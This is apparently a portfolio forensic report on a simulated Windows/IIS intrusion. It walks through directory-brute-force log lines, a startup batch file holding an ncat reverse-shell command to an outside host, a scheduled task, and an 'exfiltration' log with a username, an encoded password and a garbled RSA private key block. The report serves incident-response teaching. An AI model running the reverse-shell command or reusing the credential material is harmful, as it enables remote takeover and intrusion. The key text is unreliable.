

Forensic Analysis of an Intrusion

Project Type: DFIR / Incident Investigation

Prepared by: Niknaz Sadehvandi

Role: Founder & Cybersecurity Consultant

Organization: NS Cybersecurity

Date: December 2022

Objective

The objective of this project was to perform a forensic investigation of a simulated system intrusion to identify indicators of compromise, persistence mechanisms, and evidence of data exfiltration. The assessment focused on reconstructing attacker activity through log analysis and Windows artifact examination to support incident response and remediation decision-making.

Tools & Technologies

- Windows Operating System
- IIS Web Server Logs
- Windows Event Logs
- Autoruns (Sysinternals)
- File System Analysis
- Scheduled Task Inspection
- DFIR Investigation Methodology

Technical Steps Performed

1. Log Review & Initial Triage

- Collected and reviewed IIS web server logs to identify abnormal access patterns.
- Examined timestamps, request paths, and client activity associated with suspicious behavior.

2. Persistence Mechanism Analysis

- Inspected Windows startup folders and autorun locations using Autoruns.
- Identified unauthorized startup entries indicating persistence attempts.

3. Scheduled Task Investigation

- Reviewed scheduled tasks for abnormal or unauthorized execution.
- Correlated task execution with observed log activity and file creation times.

4. Exfiltration Evidence Review

- Analyzed logs and system artifacts for indicators of outbound data transfer.
- Identified suspicious network activity consistent with data exfiltration behavior.

5. Timeline Reconstruction

- Correlated logs, persistence artifacts, and execution events.
- Reconstructed an intrusion timeline detailing attacker actions and system impact.

Findings

- IIS logs revealed abnormal access patterns indicative of malicious activity.
- Persistence mechanisms were identified via unauthorized startup artifacts.
- Scheduled tasks were leveraged to maintain attacker access.
- Evidence supported outbound data exfiltration attempts.
- Multiple artifacts corroborated a confirmed system compromise.

Outcome

- Successfully reconstructed a timeline of the simulated intrusion.
- Confirmed compromise involving persistence and data exfiltration techniques.
- Produced DFIR-ready documentation suitable for incident escalation and remediation.
- Demonstrated practical forensic investigation skills aligned with real-world DFIR workflows.

Evidence

- Forensic screenshots and artifact views
- Log excerpts supporting intrusion activity
- Full investigation report

PDF Name:

Digital_Forensics_Project3_Forensic_Analysis_of_an_Intrusion.pdf

Portfolio Status

Project Status: Completed

Evidence:

- IIS log analysis
- Startup and scheduled task artifacts
- Timeline reconstruction documentation

LOGS

```
6645 2022-10-23 03:30:36 10.138.8.96 GET /hidden/imprint - 80 - 10.138.18.111 Mozilla/5.0 (Windows NT 10.0; Win32; rv:78.0) Gecko/20100101 Firefox/78.0 - 404 0 2 0
6646 2022-10-23 03:30:36 10.138.8.96 GET /hidden/impressum - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6647 2022-10-23 03:30:36 10.138.8.96 GET /hidden/inbound - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6648 2022-10-23 03:30:36 10.138.8.96 GET /hidden/inbox - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6649 2022-10-23 03:30:36 10.138.8.96 GET /hidden/inbox - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6650 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6651 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6652 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6653 2022-10-23 03:30:36 10.138.8.96 GET /hidden/includes - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6654 2022-10-23 03:30:36 10.138.8.96 GET /hidden/incoming - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6655 2022-10-23 03:30:36 10.138.8.96 GET /hidden/industry - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6656 2022-10-23 03:30:36 10.138.8.96 GET /hidden/incubator - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6657 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6658 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index.html - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6659 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index.html - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6660 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index.html - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6661 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index.php - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6662 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_q1 - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6663 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_q2 - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6664 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_2 - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6665 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_admin - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6666 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_admin - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6667 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_index - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6668 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_var - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6669 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_var - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6670 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index2 - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6671 2022-10-23 03:30:36 10.138.8.96 GET /hidden/indexes - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6672 2022-10-23 03:30:36 10.138.8.96 GET /hidden/indexes - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6673 2022-10-23 03:30:36 10.138.8.96 GET /hidden/industries - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6674 2022-10-23 03:30:36 10.138.8.96 GET /hidden/industry - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
6675 2022-10-23 03:30:36 10.138.8.96 GET /hidden/index_admin - 80 - 10.138.18.111 Mozilla/4.0+(compatible;MSIE6.0;Windows NT 5.1) - 404 0 2 0
```

- During the investigation what was found in the logs.

This PC > Chinco-OS (C:) > inetpub > logs > LogFiles > W3SVC1				
	Name	Date modified	Type	Size
os	u_ex221023	10/23/2022 3:40 A...	Text Document	2,405 KB
os	u_ex221110	11/10/2022 3:03 A...	Text Document	1 KB


```
1 #Software: Microsoft Internet Information Services 10.0
2 #Version: 1.0
3 #Date: 2022-11-10 03:03:39
4 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken
5 2022-11-10 03:03:39 10.138.8.96 GET /hidden/index.htm - 80 - 10.138.18.111 Mozilla/5.0(X11;Linux+x86_64;rv:78.0)+Gecko/20100101Firefox/78.0 - 200 0 0 174
6
```

AUTORUNS AND/OR THE STARTUP FOLDER

windows_desktop (36) - 10.138.8.96 - Remote Desktop Connection
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chinco.bat - Notepad++ [Administrator]
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?
security.txt YOURNAME u_ex22110.log index.htm PROJECT2 u_ex221023.log chinco.bat
1 ncat -c chinco.com -e cmd.exe
2 |

- ❖ Where is the folder located?

Autostart Entry	Description	Publisher	Image Path	Timestamp
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell			c:\windows\system32\cmd.exe	5/30/2008 12:32 AM
cmd.exe	Windows Command Processor (Verified) Microsoft Windows			9/15/2018 7:19 AM
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells\AvailableShells				9/15/2018 7:19 AM
30000				File not found: cd /d
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run				5/21/2019 11:00 PM
SunJavaUpdate...	Java Update Scheduler (Verified) Oracle America, Inc.	c:\program files (x86)\common		12/16/2018 5:51 AM
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup				6/24/2021 11:05 PM
CodeMeter Cont...	CodeMeter Control Center (Verified) WIBU-SYSTEMS AG	c:\program files (x86)\codeme...		7/19/2018 5:38 PM
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup				11/10/2022 2:46 AM
chinco.bat	BGInfo - Wallpaper text config. (Verified) Microsoft Corporation	c:\users\administ...		9/19/2019 9:16 PM
chinco.exe	BGInfo - Wallpaper text config. (Verified) Microsoft Corporation	c:\users\administ...		5/21/2019 10:01 PM
Google Chrome	Google Chrome Installer (Verified) Google LLC	c:\program files (x86)\google...		12/12/2022 6:07 PM

SCHEDULED TASKS

- What is a scheduled task? (project 2)
- Where is the folder located?
- What does the Task likely do?

*C:\Windows\System32\Tasks\PROJECT2 - Notepad++ [Administrator]
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?
security.txt YOURNAME u_ex22110.log index.htm PROJECT2 u_ex221023.log chinco.bat
1 <?xml version="1.0" encoding="UTF-16"?>
2 <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
3 <RegistrationInfo>
4 <Date>2022-11-10T02:28:48</Date>
5 <Author>CHINCO\chincoadmin</Author>
6 <URI>\PROJECT2</URI>
7 </RegistrationInfo>
8 <Triggers>
9 <CalendarTrigger>
10 <StartBoundary>2022-11-10T02:28:00</StartBoundary>
11 <Enabled>true</Enabled>
12 <ScheduleByDay>
13 <DaysInterval>1</DaysInterval>
14 </ScheduleByDay>
15 </CalendarTrigger>
16 </Triggers>

THE GOLDEN NUGGET - EXFILTRATION

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?

security.txt YOURNAME u_ex22110.log u_ex2211023.log chinco.bat

```

1 #Software: Microsoft Internet Information Services 10.0
2 #Date: 2022-11-10 03:03:39
3 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken
4 2022-11-10 03:03:39 10.138.18.111 Mozilla/5.0(+X11;+Linux+x86_64;+rv:78.0)+Gecko/20100101+Firefox/78.0 - 200 0 0 174
5
6
7 Chincoadmin
8 Q2hpkmNv
9 -----BEGIN RSA PRIVATE KEY-----
10 MIEbowIBAAKCnQEAvvtt/yVRCv1Goof0pPxmhBe5x/M9VVfQz2SucQ4+hyQ524uPa
11 WDSdXh6x+OUCsK8Bx1U37U41t73-Y7TfH202euC1lQXz18BucakrZYg4NroIXazp
12 1xt+NNMjUL4bWj9h0UcJ41kVygkpfzjUV9/JZjtF8FRfuAFcm1Yl0tfyMTh1gp0J
13 it2qogIMy6s2PhFR28DjgBbeEV91Jgo2tT0LeYhtXeed4xLX01sAGyWSAdqHuICP
14 Xx1WHCHjJdcOvxjancuRp6RIdokZLXA+d138+CvNbGDBLZ5rptjq0GubFcj_e48
15 h/dEoBe644/IfaeO3VUc7w1lpGts54qFoeHyTwIDAQABaoIBAGXkXDzjxnDvT631
16 GF0Be+xbkCXMc12V9X0RkdsIy9t3mctMA/9Bp+gtlmzKRN01gv1lqqS1atp6
17 LhFWF9i0DRFy1ZDs1BVmn2NAPlly5VLqebw10A10alXR4HBqukmwuaJJLJBp
18 HfrsSY42tbzFWqIVyIqfuIep1qEWqzSwgSk9np0jb+bth1YN8fvH1dmCm9MQOVA
19 sSpYdwskwBWB+NWNFFuetyIxdrnxRaAsODvRgX0AY/XaZGcmi8sb8yf8jdhNqng7
20 qVqPM0ffthW+7tUnj+3Xllw/m7tpV8qkHilP17x1UXDSmpFyldrkB/q16K5PPz
21 g01KMdEcGyEA/WptDCPRtcsP3NBECnKFP/GsGzna7IDQ2KspFzmJrWL5mfHEYwfv os
22 ivgaJrtUCHczc0IT1zzHg613fLZRGk8vYU0Tkoef6dfGdx/ymB2mu6/c0cg5bjR2
23 huA8/bwyOhxgMoy8H/NVBkt1jSV7vDNQfnEXDFr/eVkvue/ObyccgYEAO4R
24 O16ljW8BnP4Cxyd5e+wvNvYgh7GM2c95rIuDoJrjPqlkz4GINzGA8RqBnirGc
25 sSVHGbGESEPqe7pHDtxw7c61qRFl0H8Qj2v3qcwJgeEbaAP7UL52nj/4MBCKX09zp
26 61IPWWzZ0m67msd0/8c891EtgtRtexSf1nr8fJKCgVBTJgtokV/34D5NKEhoa061
27 zGO+t0habj13XXKxxWhiggB2DQxk8s1m2BScjNnJKWnpmXODY0UCCQpWssum5WR/E
28 hMpqb9F6RUKs22q/n3Puuj1Vu206vrP6x23cGDSCkg17Dzm1wKFMuJSzy+ptGHZ
29 m3YH8d0pe+860Tgq5ufcQkBgQC1005mV982drgbqdgk6e4WQ51HLICR9FeBqBDL
30 m7ZMzwN1e+vkhzKUL6qrz2kYAXW/0cBFG9zHGHsobKf68w72d+wScSfQWwKb25
31 hB+wRbw61LYPEmYRJgfOOJJ1nG3ln99dvn7SBFehx/v8yj47GwnJvJpNEaaV+Pc
32 9bg8+QK8gFqhoCc4fcCs51wxRAm42Lo7Jbl/Rx1dcEYHkhVtqCDszVrEla/KgG
33 kJB/q#4tvW3/ok5t5nKpbF8JgkStvbpx2Exzds1/Ne010AvLawj7kWVDk+ynBcIZ
34 e8/Wu7YzcuN+apf2X01w3Ke7D1wVi+Ntzh+FSSgkn7dnyk95Gk
35 -----END RSA PRIVATE KEY-----

```

This PC > Chinco-OS (C) > inetpub > logs > LogFiles > W3SVC1

Name	Date modified	Type	Size
u_ex221023	10/23/2022 3:04 A...	Text Document	2,405 KB
u_ex22110	11/10/2022 3:03 A...	Text Document	1 KB

This PC > Chinco-OS (C) > Windows > System32 >

Name	Date modified	Type	Size
m32	9/15/2018 7:19 AM	File folder	
CALAPP	9/15/2018 7:19 AM	File folder	
ta-ik	9/15/2018 7:19 AM	File folder	
Tasks	12/19/2022 10:57 ...	File folder	
th-TH	3/10/2022 3:50 PM	File folder	
ti-et	9/15/2018 7:19 AM	File folder	

This PC > Chinco-OS (C) > inetpub > wwwroot > hidden

Name	Date modified	Type	Size
index	11/10/2022 2:58 A...	Chrome HTML Do...	2 KB

This PC > Chinco-OS (C) > inetpub > wwwroot >

Name	Date modified	Type	Size
hidden	10/23/2022 3:12 A...	File folder	
LinuxDists	10/23/2022 12:13 ...	Chrome HTML Do...	1 KB
Tasks	10/22/2022 11:51 ...	PNG File	98 KB
W3SVC1			
hidden			
iisstart			
iisstart			